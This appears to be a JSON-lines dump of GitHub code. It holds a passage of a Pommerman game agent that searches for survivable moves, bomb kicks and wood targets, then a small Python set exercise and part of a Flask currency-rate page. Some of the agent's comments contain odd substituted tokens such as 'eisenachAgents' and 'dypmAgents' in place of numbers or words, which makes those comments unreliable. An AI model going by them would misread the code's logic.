0), (1, 0), (0, -1), (0, 1)]:\n _next_positions.append((x + row, y + col))\n\n next_positions = list()\n for position in set(_next_positions):\n if not self._on_board(position):\n # remove out of positions\n continue\n if any([position == my_position and not my_position_get_flame,\n utility.position_in_items(list_boards[t], position, passable)]):\n next_positions.append(position)\n\n for position in next_positions:\n reachable[(t,)+position] = True\n\n if len(next_positions):\n survivable_time = t\n last_reachable = next_positions # need copy?\n\n # Backward search for survivable positions\n # survivable[t]: set of survavable positions at time t\n # prev[t][position]: list of positions from which\n # one can reach the position at time t\n survivable = [set() for _ in range(depth)]\n prev = [defaultdict(list) for _ in range(depth+1)]\n if get_succ:\n succ = [defaultdict(list) for _ in range(depth)]\n else:\n succ = None\n survivable[survivable_time] = last_reachable\n for t in range(survivable_time, 0, -1):\n for position in survivable[t]:\n # for each position surviving at time t\n # if the position is on a bomb, I must have stayed there since I placed the bomb\n if list_boards[t][position] == constants.Item.Bomb.value:\n if reachable[(t-1,)+position]:\n prev[t][position].append(position)\n if get_succ:\n succ[t-1][position].append(position)\n continue\n\n # otherwise, standard case\n x, y = position\n for row, col in [(0, 0), (-1, 0), (1, 0), (0, -1), (0, 1)]:\n # consider the prev_position at time t - eisenachAgents\n prev_position = (x + row, y + col)\n if not self._on_board(prev_position):\n # discard the prev_position if out of board\n continue\n if reachable[(t-1,)+prev_position]:\n # can reach the position at time t\n # from the prev_position at time t-eisenachAgents\n prev[t][position].append(prev_position)\n if get_succ:\n succ[t-1][prev_position].append(position)\n\n # the set of prev_positions at time t-eisenachAgents\n # from which one can reach the surviving positions at time t\n survivable[t-1] = set([position for prevs in prev[t].values()\n for position in prevs])\n\n if get_subtree:\n subtree = [defaultdict(set) for _ in range(depth)]\n for position in survivable[depth-1]:\n subtree[depth-1][position] = {(depth-1, position)}\n for t in range(depth-2, -1, -1):\n for position in survivable[t]:\n list_of_set = [{(t,position)}] + [subtree[t+1][child] for child in succ[t][position]]\n subtree[t][position] = set().union(*list_of_set)\n else:\n subtree = None\n\n return survivable, prev, succ, subtree\n\n def _count_survivable(cls, succ, time, position):\n \"\"\"\n Count the number of survivable positions at each step, starting at \"position\" at \"time\"\n \"\"\"\n next_survivable = {position}\n info = [deepcopy(next_survivable)]\n n_survivable = [1] \n for t in range(time, len(succ) - 1):\n _next_survivable = []\n for pos in next_survivable:\n _next_survivable += succ[t][pos]\n next_survivable = set(_next_survivable)\n info.append(deepcopy(next_survivable))\n n_survivable.append(len(next_survivable)) \n return n_survivable, info\n\n def _get_survivable(self, obs, info, my_position, my_next_position, enemy_positions,\n kickable, allow_kick_to_fog=False,\n enemy_mobility=0, enemy_bomb=0, ignore_dying_agent=True,\n step_to_collapse=None,\n collapse_ring=None):\n\n # enemy positions over time\n # these might be dissappeared due to extra flames\n list_enemy_positions = list()\n if len(enemy_positions):\n rows = [p[0] for p in enemy_positions]\n cols = [p[1] for p in enemy_positions]\n list_enemy_positions.append((rows, cols))\n _enemy_positions = list()\n for t in range(enemy_mobility):\n rows, cols = list_enemy_positions[-1]\n for x, y in zip(rows, cols):\n for dx, dy in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\n next_position = (x + dx, y + dy)\n if not self._on_board(next_position):\n continue\n _board = info[\"list_boards_no_move\"][t]\n if any([utility.position_is_passage(_board, next_position),\n utility.position_is_powerup(_board, next_position)]):\n _enemy_positions.append(next_position)\n _enemy_positions = set(_enemy_positions)\n rows = [p[0] for p in _enemy_positions]\n cols = [p[1] for p in _enemy_positions]\n list_enemy_positions.append((rows, cols))\n \n is_survivable = dict()\n for a in self._get_all_actions():\n is_survivable[a] = False\n n_survivable = dict()\n list_boards = dict()\n for my_action in self._get_all_actions():\n\n next_position = my_next_position[my_action]\n\n if next_position is None:\n continue\n\n if my_action == constants.Action.Bomb:\n if any([obs[\"ammo\"] == 0,\n obs[\"bomb_blast_strength\"][next_position] > 0]):\n continue\n \n if all([utility.position_is_flames(info[\"recently_seen\"], next_position),\n info[\"flame_life\"][next_position] > 1]): # If eisenachAgents, can move\n continue\n\n if all([my_action != constants.Action.Stop,\n obs[\"bomb_blast_strength\"][next_position] > 0,\n next_position not in kickable,\n info[\"moving_direction\"][next_position] is None]):\n continue\n\n if not allow_kick_to_fog and next_position in kickable:\n # do not kick into fog\n dx = next_position[0] - my_position[0]\n dy = next_position[1] - my_position[1]\n position = next_position\n is_fog = False\n while self._on_board(position):\n if utility.position_is_fog(info[\"recently_seen\"], position):\n is_fog = True\n break\n position = (position[0] + dx, position[1] + dy)\n if is_fog:\n continue\n \n # list of boards from next steps\n #backedup = False\n #if all([next_position in kickable,\n # info[\"recently_seen\"][next_position] != constants.Item.Bomb.value]):\n # backup_cell = info[\"recently_seen\"][next_position]\n # info[\"recently_seen\"][next_position] = constants.Item.Bomb.value # an agent will be overwritten\n # backedup = True\n \n list_boards[my_action], _ \\\n = self._board_sequence(info[\"recently_seen\"],\n info[\"curr_bombs\"],\n info[\"curr_flames\"],\n self._search_range,\n my_position,\n my_blast_strength=obs[\"blast_strength\"],\n my_action=my_action,\n can_kick=obs[\"can_kick\"],\n enemy_mobility=enemy_mobility,\n enemy_bomb=enemy_bomb,\n enemy_positions=enemy_positions,\n agent_blast_strength=info[\"agent_blast_strength\"],\n step_to_collapse=info[\"step_to_collapse\"],\n collapse_ring=info[\"collapse_ring\"])\n\n #if backedup:\n # info[\"recently_seen\"][next_position] = backup_cell\n \n # wood might be disappeared, because of overestimated bombs\n for t in range(len(list_boards[my_action])):\n if my_action == constants.Action.Bomb:\n if \"list_boards_no_move_my_bomb\" not in info:\n info[\"list_boards_no_move_my_bomb\"], _ \\\n = self._board_sequence(info[\"recently_seen\"],\n info[\"curr_bombs\"],\n info[\"curr_flames\"],\n self._search_range,\n my_position,\n my_blast_strength=obs[\"blast_strength\"],\n my_action=constants.Action.Bomb,\n can_kick=obs[\"can_kick\"],\n enemy_mobility=0,\n enemy_bomb=0,\n agent_blast_strength=info[\"agent_blast_strength\"],\n step_to_collapse=info[\"step_to_collapse\"],\n collapse_ring=info[\"collapse_ring\"]) \n wood_positions = np.where(info[\"list_boards_no_move_my_bomb\"][t] == constants.Item.Wood.value)\n else:\n wood_positions = np.where(info[\"list_boards_no_move\"][t] == constants.Item.Wood.value)\n list_boards[my_action][t][wood_positions] = constants.Item.Wood.value \n\n # dypmAgents might be disappeared, because of overestimated bombs\n for t, positions in enumerate(list_enemy_positions):\n list_boards[my_action][t][positions] = constants.Item.AgentDummy.value\n \n # some bombs may explode with extra bombs, leading to under estimation\n for t in range(len(list_boards[my_action])):\n flame_positions = np.where(info[\"list_boards_no_move\"][t] == constants.Item.Flames.value)\n list_boards[my_action][t][flame_positions] = constants.Item.Flames.value\n\n for my_action in list_boards:\n survivable = search_time_expanded_network(list_boards[my_action][1:],\n my_next_position[my_action])\n if step_to_collapse is not None:\n if step_to_collapse == 0:\n if list_boards[my_action][0][my_position] == constants.Item.Rigid.value:\n survivable[0].add(my_position) \n elif step_to_collapse < len(survivable):\n for position in survivable[step_to_collapse - 1]:\n if list_boards[my_action][step_to_collapse + 1][position] == constants.Item.Rigid.value:\n survivable[step_to_collapse].add(position)\n\n if len(survivable[-1]) == 0 and ignore_dying_agent:\n survivable = [set() for _ in range(len(survivable))]\n \n if my_next_position[my_action] in survivable[0]:\n is_survivable[my_action] = True\n n_survivable[my_action] = [1] + [len(s) for s in survivable[1:]]\n\n return n_survivable, is_survivable, list_boards\n \n def _find_reachable_items(self, list_boards, my_position, time_positions,\n bomb_target=None, might_powerup=None):\n\n \"\"\"\n Find items reachable from my position\n\n Parameters\n ----------\n list_boards : list\n list of boards, generated by _board_sequence\n my_position : tuple\n my position, where the search starts\n time_positions : list\n survivable time-positions, generated by _search_time_expanded_network\n\n Return\n ------\n items : dict\n items[item] : list of time-positions from which one can reach item\n reached : array\n minimum time to reach each position on the board\n next_to_items : dict\n next_to_items[item] : list of time-positions from which one can reach\n the position next to item\n \"\"\"\n\n if bomb_target is None:\n bomb_target = np.full(self.board_shape, False)\n\n if might_powerup is None:\n might_powerup = np.full(self.board_shape, False)\n\n # items found on time_positions and the boundary (for Wood)\n items = defaultdict(list)\n\n # reached[position] : minimum time to reach the position\n reached = np.full(self.board_shape, np.inf)\n\n # whether already checked the position\n _checked = np.full(self.board_shape, False)\n\n # positions next to wood or other dypmAgents (count twice if next to two woods)\n next_to_items = defaultdict(list)\n\n for t, positions in enumerate(time_positions):\n # check the positions reached at time t\n board = list_boards[t]\n for position in positions:\n if reached[position] < np.inf:\n continue\n reached[position] = t\n item = constants.Item(board[position])\n items[item].append((t,) + position)\n if bomb_target[position]:\n items[\"target\"].append((t,) + position) \n if might_powerup[position]:\n items[\"might_powerup\"].append((t,) + position)\n _checked[position] = True\n x, y = position\n for row, col in [(-1, 0), (1, 0), (0, -1), (0, 1)]:\n next_position = (x + row, y + col)\n if not self._on_board(next_position):\n continue\n if _checked[next_position]:\n continue\n _checked[next_position] = True\n if any([utility.position_is_agent(board, next_position),\n board[next_position] == constants.Item.Bomb.value,\n utility.position_is_fog(board, next_position)]):\n item = constants.Item(board[next_position])\n items[item].append((t,)+next_position)\n next_to_items[item].append((t,) + position)\n # ignoring wall that will not exist when explode\n if utility.position_is_wood(list_boards[-1], next_position):\n item = constants.Item(board[next_position])\n items[item].append((t,)+next_position)\n next_to_items[item].append((t,) + position)\n\n return items, reached, next_to_items\n\n def _get_survivable_actions(self, survivable, obs, info,\n enemy_mobility=0, enemy_bomb=0, enemy_positions=[],\n agent_blast_strength=dict(),\n step_to_collapse=None, collapse_ring=None):\n\n my_position = obs[\"position\"]\n my_blast_strength = obs[\"blast_strength\"]\n\n # is_survivable[action]: whether survivable with action\n is_survivable = defaultdict(bool)\n x, y = my_position\n\n if (x + 1, y) in survivable[1]:\n is_survivable[constants.Action.Down] = True\n\n if (x - 1, y) in survivable[1]:\n is_survivable[constants.Action.Up] = True\n\n if (x, y + 1) in survivable[1]:\n is_survivable[constants.Action.Right] = True\n\n if (x, y - 1) in survivable[1]:\n is_survivable[constants.Action.Left] = True\n\n if (x, y) in survivable[1]:\n is_survivable[constants.Action.Stop] = True\n\n # TODO : shoud check the survivability of all dypmAgents in one method\n\n # If I have at least one bomb, and no bomb in my position,\n # then consider what happens if I lay a bomb\n if all([obs[\"ammo\"] > 0, obs[\"bomb_life\"][my_position] == 0]):\n\n board_with_bomb = deepcopy(info[\"recently_seen\"])\n curr_bombs_with_bomb = deepcopy(info[\"curr_bombs\"])\n # lay a bomb\n board_with_bomb[my_position] = constants.Item.Bomb.value\n bomb = characters.Bomb(characters.Bomber(), # dummy owner of the bomb\n my_position,\n constants.DEFAULT_BOMB_LIFE,\n my_blast_strength,\n None)\n curr_bombs_with_bomb.append(bomb)\n list_boards_with_bomb, _ \\\n = self._board_sequence(board_with_bomb,\n curr_bombs_with_bomb,\n info[\"curr_flames\"],\n self._search_range,\n my_position,\n enemy_mobility=enemy_mobility,\n enemy_bomb=enemy_bomb,\n enemy_positions=enemy_positions,\n agent_blast_strength=agent_blast_strength,\n step_to_collapse=step_to_collapse,\n collapse_ring=collapse_ring)\n\n # some bombs may explode with extra bombs, leading to under estimation\n list_boards_with_bomb_no_move, _ \\\n = self._board_sequence(board_with_bomb,\n curr_bombs_with_bomb,\n info[\"curr_flames\"],\n self._search_range,\n my_position,\n enemy_mobility=0,\n step_to_collapse=step_to_collapse,\n collapse_ring=collapse_ring)\n\n for t in range(len(list_boards_with_bomb)):\n flame_positions = np.where(list_boards_with_bomb_no_move[t] == constants.Item.Flames.value)\n list_boards_with_bomb[t][flame_positions] = constants.Item.Flames.value\n\n survivable_with_bomb, prev_bomb, _, _ \\\n = self._search_time_expanded_network(list_boards_with_bomb[1:],\n my_position)\n\n if len(survivable_with_bomb[-1]) == 0:\n survivable_with_bomb = [set() for _ in range(len(survivable_with_bomb))]\n survivable_with_bomb = [{my_position}] + survivable_with_bomb\n\n if my_position in survivable_with_bomb[1]:\n is_survivable[constants.Action.Bomb] = True\n else:\n survivable_with_bomb = None\n list_boards_with_bomb = None\n\n return is_survivable, survivable_with_bomb\n\n def _kickable_positions(self, obs, is_bomb,\n moving_direction, consider_agents=True,\n kick_into_flames=True):\n\n \"\"\"\n Parameters\n ----------\n obs : dict\n pommerman observation\n \"\"\"\n\n if not obs[\"can_kick\"]:\n return set(), set()\n\n kickable = set()\n might_kickable = set()\n # my position\n x, y = obs[\"position\"]\n\n # Find neigoboring positions around me\n on_board_next_positions = list()\n for dx, dy in [(-1, 0), (1, 0), (0, -1), (0, 1)]:\n next_position = (x + dx, y + dy)\n if not self._on_board(next_position):\n continue\n if utility.position_is_wall(obs[\"board\"], next_position):\n continue\n on_board_next_positions.append(next_position)\n\n # Check if can kick a static bomb\n for next_position in on_board_next_positions:\n #if obs[\"board\"][next_position] != constants.Item.Bomb.value:\n if not is_bomb[next_position]:\n # not a bomb\n continue\n if moving_direction[next_position] is not None:\n if not self._get_next_position(next_position, moving_direction[next_position]) == obs[\"position\"]:\n # moving, and not moving toward me (then can be treated as static)\n continue\n #if obs[\"bomb_life\"][next_position] <= eisenachAgents:\n # # kick and die\n # continue\n following_position = (2 * next_position[0] - x,\n 2 * next_position[1] - y)\n if not self._on_board(following_position):\n # cannot kick to that direction\n continue\n if kick_into_flames and utility.position_is_flames(obs[\"board\"], following_position):\n kickable.add(next_position)\n continue\n if utility.position_is_agent(obs[\"board\"], following_position):\n # agent might move\n might_kickable.add(next_position)\n if not utility.position_is_passage(obs[\"board\"], following_position):\n # cannot kick to that direction\n continue\n might_blocked = False\n if consider_agents:\n # neighboring agent might block (or change the direction) immediately\n for dx, dy in [(-1, -1), (1, -1), (-1, 1), (1, 1)]:\n neighboring_position = (x + dx, y + dy)\n if not self._on_board(neighboring_position):\n continue\n if np.sum(np.abs(np.array(neighboring_position) - np.array(next_position))) != 1:\n continue\n if utility.position_is_agent(obs[\"board\"], neighboring_position):\n might_blocked = True\n break\n if might_blocked:\n might_kickable.add(next_position)\n continue\n for dx, dy in [(-1, -1), (1, -1), (-1, 1), (1, 1)]:\n neighboring_position = (next_position[0] + dx, next_position[1] + dy)\n if not self._on_board(neighboring_position):\n continue\n if np.sum(np.abs(np.array(neighboring_position) - np.array(following_position))) != 1:\n continue\n if utility.position_is_agent(obs[\"board\"], neighboring_position):\n might_blocked = True\n break\n if might_blocked:\n might_kickable.add(next_position)\n continue\n kickable.add(next_position)\n\n # Check if can kick a moving bomb\n for next_position in on_board_next_positions:\n if next_position in kickable:\n # can kick a static bomb\n continue\n x, y = next_position \n for dx, dy in [(-1, 0), (1, 0), (0, -1), (0, 1)]:\n coming_position = (x + dx, y + dy)\n if coming_position == obs[\"position\"]:\n # cannot come from my position\n continue\n if not self._on_board(coming_position):\n # cannot come from out of board\n continue\n #if obs[\"bomb_life\"][coming_position] <= eisenachAgents:\n # # kick and die\n # continue\n if all([moving_direction[coming_position] == constants.Action.Up,\n dx == 1,\n dy == 0]):\n # coming from below\n kickable.add(next_position)\n break\n if all([moving_direction[coming_position] == constants.Action.Down,\n dx == -1,\n dy == 0]):\n # coming from above\n kickable.add(next_position)\n break\n if all([moving_direction[coming_position] == constants.Action.Right,\n dx == 0,\n dy == -1]):\n # coming from left\n kickable.add(next_position)\n break\n if all([moving_direction[coming_position] == constants.Action.Left,\n dx == 0,\n dy == 1]):\n kickable.add(next_position)\n # coming from right\n break\n\n return kickable, might_kickable\n \n @classmethod\n def _can_break(cls, board, my_position, blast_strength, what_to_break):\n\n \"\"\"\n Whether one cay break what_to_break by placing a bomb at my position\n\n Parameters\n ----------\n board : array\n board\n my_position : tuple\n where to place a bomb\n blast_strength : int\n strength of the bomb\n\n Return\n ------\n boolean\n True iff can break what_to_break by placing a bomb\n \"\"\"\n\n x, y = my_position\n # To down\n for dx in range(1, blast_strength):\n if x + dx >= len(board[0]):\n break\n position = (x + dx, y)\n for item in what_to_break:\n if utility._position_is_item(board, position, item):\n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n # To up\n for dx in range(1, blast_strength):\n if x - dx < 0:\n break\n position = (x - dx, y)\n for item in what_to_break:\n if utility._position_is_item(board, position, item): \n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n # To right\n for dy in range(1, blast_strength):\n if y + dy >= len(board):\n break\n position = (x, y + dy)\n for item in what_to_break:\n if utility._position_is_item(board, position, item):\n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n # To left\n for dy in range(1, blast_strength):\n if y - dy < 0:\n break\n position = (x, y - dy)\n for item in what_to_break:\n if utility._position_is_item(board, position, item):\n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n return False\n\n @classmethod\n def _get_direction(cls, this_position, next_position):\n\n \"\"\"\n Direction from this position to next position\n\n Parameters\n ----------\n this_position : tuple\n this position\n next_position : tuple\n next position\n\n Return\n ------\n direction : constants.Item.Action\n \"\"\"\n if this_position == next_position:\n return constants.Action.Stop\n else:\n return utility.get_direction(this_position, next_position)\n\n @classmethod\n def _get_next_position(cls, position, action):\n \"\"\"\n Returns the next position\n \"\"\"\n x, y = position\n if action == constants.Action.Right:\n return (x, y + 1)\n elif action == constants.Action.Left:\n return (x, y - 1)\n elif action == constants.Action.Down:\n return (x + 1, y)\n elif action == constants.Action.Up:\n return (x - 1, y)\n else:\n return (x, y)\n\n \n @classmethod\n def _might_break_powerup(cls, board, my_position, blast_strength, might_powerup):\n\n \"\"\"\n Whether one might break a powerup by placing a bomb at my position\n\n Parameters\n ----------\n board : array\n board\n my_position : tuple\n where to place a bomb\n blast_strength : int\n strength of the bomb\n\n Return\n ------\n boolean\n True iff might break a powerup by placing a bomb\n \"\"\"\n\n x, y = my_position\n # To up\n for dx in range(1, blast_strength):\n if x + dx >= len(board[0]):\n break\n position = (x + dx, y)\n if utility.position_is_powerup(board, position) or might_powerup[position]:\n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n # To down\n for dx in range(1, blast_strength):\n if x - dx < 0:\n break\n position = (x - dx, y)\n if utility.position_is_powerup(board, position) or might_powerup[position]:\n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n # To right\n for dy in range(1, blast_strength):\n if y + dy >= len(board):\n break\n position = (x, y + dy)\n if utility.position_is_powerup(board, position) or might_powerup[position]:\n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n # To left\n for dy in range(1, blast_strength):\n if y - dy < 0:\n break\n position = (x, y - dy)\n if utility.position_is_powerup(board, position) or might_powerup[position]:\n return True\n if not utility.position_is_passage(board, position):\n # stop searching this direction\n break\n return False\n\n def _get_breakable(self, board, my_position, blast_strength, target_item):\n\n \"\"\"\n For each position in board, count the number of woods that can be broken\n by placing a bomb with the given blast strength at that position\n \"\"\"\n\n n_breakable = np.zeros(board.shape)\n broken_by = defaultdict(list) # the bomb positions where each item will be broken\n to_break = defaultdict(list) # items that will be broken by the bomb at each positions\n\n reachable = np.full(board.shape, False)\n q = [my_position]\n while q:\n p = q.pop()\n if reachable[p]:\n continue\n else:\n reachable[p] = True\n for dx, dy in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\n next_position = (p[0] + dx, p[1] + dy)\n if not self._on_board(next_position):\n continue\n if reachable[next_position]:\n continue\n if utility.position_is_wall(board, next_position):\n continue\n q.append(next_position) \n \n rows, cols = np.where(board == target_item.value)\n for wood_position in zip(rows, cols):\n x, y = wood_position\n for dx in range(1, min([blast_strength, board.shape[1] - x])):\n position = (x + dx, y)\n if reachable[position]:\n n_breakable[position] += 1\n broken_by[(x, y)].append(position)\n to_break[position].append((x, y))\n else:\n break\n for dx in range(1, min([blast_strength, x + 1])):\n position = (x - dx, y)\n if reachable[position]:\n n_breakable[position] += 1\n broken_by[(x, y)].append(position)\n to_break[position].append((x, y))\n else:\n break\n for dy in range(1, min([blast_strength, board.shape[1] - y])):\n position = (x, y + dy)\n if reachable[position]:\n n_breakable[position] += 1\n broken_by[(x, y)].append(position)\n to_break[position].append((x, y))\n else:\n break\n for dy in range(1, min([blast_strength, y + 1])):\n position = (x, y - dy)\n if reachable[position]:\n n_breakable[position] += 1\n broken_by[(x, y)].append(position)\n to_break[position].append((x, y))\n else:\n break\n \n return n_breakable, broken_by, to_break\n\n\n def _get_bomb_target(self, board, my_position, blast_strength, target_item, max_breakable=True): \n\n # the number of target_items that can be broken by placing a bomb at each position\n n_breakable, broken_by, to_break = self._get_breakable(board,\n my_position,\n blast_strength,\n target_item)\n\n if not max_breakable:\n return (n_breakable > 0), n_breakable\n \n target = np.full(board.shape, False)\n _n_breakable = deepcopy(n_breakable)\n covered_item = np.full(board.shape, False)\n \n count = np.max(_n_breakable)\n while count > 0:\n # highest count will be the target\n positions = (np.where(_n_breakable == count))\n target[positions] = True\n\n rows, cols = positions\n for bomb_position in zip(rows, cols):\n for item_position in to_break[bomb_position]:\n if covered_item[item_position]:\n continue\n for another_bomb_position in broken_by[item_position]:\n _n_breakable[another_bomb_position] -= 1\n covered_item[item_position] = True\n\n count = np.max(_n_breakable)\n\n return target, n_breakable\n\n def _get_frac_blocked(self, list_boards, my_enemies, board, bomb_life, ignore_dying_agent=True):\n\n blocked_time_positions = dict()\n n_nodes = defaultdict(int)\n for enemy in my_enemies:\n blocked_time_positions[enemy] = defaultdict(set)\n\n # get survivable tree of the enemy\n rows, cols = np.where(board==enemy.value)\n if len(rows) == 0:\n continue\n enemy_position = (rows[0], cols[0])\n survivable, _, _, subtree \\\n = self._search_time_expanded_network(list_boards,\n enemy_position,\n get_subtree=True)\n\n if len(survivable[-1]) == 0 and ignore_dying_agent:\n survivable = [set() for _ in range(len(survivable))]\n\n # time-positions that can be blocked by placing a bomb now\n all_positions = set().union(*[positions for positions in survivable])\n for position in all_positions:\n # do not consider the position that has a bomb now\n if bomb_life[position] > 0:\n continue\n blocked_time_positions[enemy][position] = set().union(*[s[position] for s in subtree])\n # EXLUDE THE ROOT NODE\n blocked_time_positions[enemy][position] -= {(0, enemy_position)}\n\n #n_nodes[enemy] = sum([len(positions) for positions in survivable])\n n_nodes[enemy] = sum([len(positions) for positions in survivable[1:]])\n\n positions = list()\n for enemy in my_enemies:\n positions.extend(list(blocked_time_positions[enemy]))\n \n # fraction of time-positions blocked by placing a bomb at each position\n frac_blocked = np.zeros(self.board_shape)\n for position in positions:\n n_blocked = sum([len(blocked_time_positions[enemy][position]) for enemy in my_enemies])\n n_all = sum([n_nodes[enemy] for enemy in my_enemies])\n if n_all == 0:\n frac_blocked[position] = 0\n else:\n frac_blocked[position] = n_blocked / n_all\n\n return frac_blocked, n_nodes, blocked_time_positions\n \n def _get_frac_blocked_two_lists(self, list_boards_with_action, n_survivable_nodes, board, agents,\n ignore_dying_agent=True):\n\n n_survivable_nodes_with_action = defaultdict(int)\n for agent in agents:\n rows, cols = np.where(board==agent.value)\n if len(rows) == 0:\n continue\n position = (rows[0], cols[0])\n _survivable = search_time_expanded_network(list_boards_with_action,\n position)\n\n if len(_survivable[-1]) == 0 and ignore_dying_agent:\n _survivable = [set() for _ in range(len(_survivable))]\n\n # exclude the root node\n n_survivable_nodes_with_action[agent] = sum([len(positions) for positions in _survivable[1:]])\n\n n_action = sum([n_survivable_nodes_with_action[agent] for agent in agents])\n n_base = sum([n_survivable_nodes[agent] for agent in agents])\n if n_base == 0:\n return 0\n else:\n return 1 - n_action / n_base\n \n \n def _get_reachable(cls, is_rigid):\n\n \"\"\"\n check if reachable to the main passage\n \"\"\"\n\n # check only the upper right triangular area\n # use symmetry to fill in the remaining\n\n reachable = np.full(is_rigid.shape, False)\n\n # set the outer most\n reachable[0, :] = ~is_rigid[0, :]\n reachable[:, -1] = ~is_rigid[:, -1]\n\n # set the three corner\n reachable[(0, 0)] = ~(is_rigid[(0, 1)] and is_rigid[(1,0)])\n reachable[(0, -1)] = ~(is_rigid[(0, -2)] and is_rigid[(1,-1)])\n reachable[(-1, -1)] = ~(is_rigid[(-1, -2)] and is_rigid[(-2,-1)])\n\n # set the main passage\n reachable[1, 1:-1] = True\n reachable[1:-1, -2] = True\n\n # set the inner area\n reachable[2, 2:-2] = ~is_rigid[2, 2:-2]\n reachable[2:-2, -3] = ~is_rigid[2:-2, -3]\n\n checked = np.full(is_rigid.shape, True)\n for i in range(3, is_rigid.shape[0] - 3):\n checked[i, i:-3] = False\n\n cols = np.where(reachable[2, 3:-3])[0] + 3\n rows = np.where(reachable[3:-3, -3])[0] + 3\n Q = [(2, c) for c in cols] + [(r, -3) for r in rows]\n while Q:\n q = Q.pop()\n for (dx, dy) in [(-1, 0), (1, 0), (0, -1), (0, 1)]:\n position = (q[0] + dx, q[1] + dy)\n if checked[position]:\n continue\n checked[position] = True\n if is_rigid[position]:\n continue\n reachable[position] = True\n Q.append(position)\n\n # by symmetry\n reachable += reachable.T\n \n return reachable\n\n def _get_all_actions(cls):\n return [constants.Action.Bomb,\n constants.Action.Stop,\n constants.Action.Up,\n constants.Action.Down,\n constants.Action.Left,\n constants.Action.Right]\n\n def _get_digging_positions(cls, board, my_position, info):\n\n digging = None\n bomb_target = np.full(board.shape, False)\n \n if board[my_position] == constants.Item.Agent0.value:\n for n in [4, 5, 6]:\n if utility.position_is_wood(info[\"last_seen\"], (1, n)):\n bomb_target[(1, n-1)] = True\n digging = (1, n-1)\n break\n elif board[my_position] == constants.Item.Agent1.value:\n for m in [6, 5, 4]:\n if utility.position_is_wood(info[\"last_seen\"], (m, 1)):\n bomb_target[(m+1, 1)] = True\n digging = (m+1, 1)\n break\n elif board[my_position] == constants.Item.Agent2.value:\n for m in [6, 5, 4]:\n if utility.position_is_wood(info[\"last_seen\"], (m, 9)):\n bomb_target[(m+1, 9)] = True\n digging = (m+1, 9)\n break\n elif board[my_position] == constants.Item.Agent3.value:\n for n in [6, 5, 4]:\n if utility.position_is_wood(info[\"last_seen\"], (1, n)):\n bomb_target[(1, n+1)] = True\n digging = (1, n+1)\n break\n\n if digging is None:\n if board[my_position] == constants.Item.Agent0.value:\n if info[\"since_last_seen\"][(1, 10)] == np.inf:\n bomb_target[(1, 7)] = True\n digging = (1, 7)\n elif board[my_position] == constants.Item.Agent1.value:\n if info[\"since_last_seen\"][(0, 1)] == np.inf:\n bomb_target[(3, 1)] = True\n digging = (3, 1)\n elif board[my_position] == constants.Item.Agent2.value:\n if info[\"since_last_seen\"][(0, 9)] == np.inf:\n bomb_target[(3, 9)] = True\n digging = (3, 9)\n elif board[my_position] == constants.Item.Agent3.value:\n if info[\"since_last_seen\"][(1, 0)] == np.inf:\n bomb_target[(1, 3)] = True\n digging = (1, 3)\n\n return digging, bomb_target\n\n def _get_might_blocked(self, board, my_position, agent_positions, might_kickable):\n\n might_blocked_positions = np.full(board.shape, False)\n for x, y in agent_positions:\n might_blocked_positions[(x, y)] = True\n for dx, dy in [(-1, 0), (1, 0), (0, -1), (0, 1)]:\n next_position = (x + dx, y + dy)\n if not self._on_board(next_position):\n continue\n might_blocked_positions[next_position] = True\n\n # actions that might be blocked\n might_blocked = defaultdict(bool)\n for my_action in [constants.Action.Up,\n constants.Action.Down,\n constants.Action.Left,\n constants.Action.Right]:\n next_position = self._get_next_position(my_position, my_action)\n if not self._on_board(next_position):\n continue\n if any([next_position in might_kickable,\n might_blocked_positions[next_position]]):\n might_blocked[my_action] = True\n\n return might_blocked\n","repo_name":"isscproject/vote-agent","sub_path":"vote_agent/dypmAgents/base_agent.py","file_name":"base_agent.py","file_ext":"py","file_size_in_byte":74592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41176632859","text":"s1=set()\r\nsize=int(input(\"Enter the size: \"))\r\nfor i in range(0,size):\r\n var=input(\"Enter Element: \")\r\n s1.add(var)\r\nprint(s1)\r\nupdate1=input(\"Do you want to update more elements in set y/n: \")\r\nif ((update1==\"y\")):\r\n sizeadd=int(input(\"Enter how many element you want to add: \"))\r\n print(\"enter element for updating set\")\r\n for i in range(0,sizeadd):\r\n var2=input(\"Enter element: \")\r\n #using add method\r\n #s1.add(var2) \r\n #usin update method\r\n s1.update([var2])\r\n print(s1)\r\nelse:\r\n print(\"Thank you...!\")\r\nprint(\"This is set: \",s1)\r\nrmv=input(\"Enter what you want to remove: \")\r\nif rmv in s1:\r\n s1.remove(rmv)\r\n print(s1)\r\nelse:\r\n print(\"using discard\")\r\n s1.discard(rmv)\r\n\r\n","repo_name":"mansinerkar-11/Python","sub_path":"set_oral.py","file_name":"set_oral.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15916276488","text":"import requests\n# import json\nfrom flask import Flask\n# import math\n\n\ndef get_currencies():\n r = requests.get('https://www.cbr-xml-daily.ru/daily_json.js')\n js = r.json()\n currencies = list(js['Valute'].values())\n return currencies\n\n\ndef create_html(cur):\n text = '

    Курсы:

    '\n text += ''\n for cur_i in cur:\n text += ''\n text += ''\n # text = text + curr['ID']\n text += ''\n text += '
    ' + cur_i['Name'] + '(*' + cur_i['CharCode'] + '*):' + str(cur_i['Value']) + \\\n ' руб (' + str(round(cur_i['Previous'] - cur_i['Value'], 2)) + ')
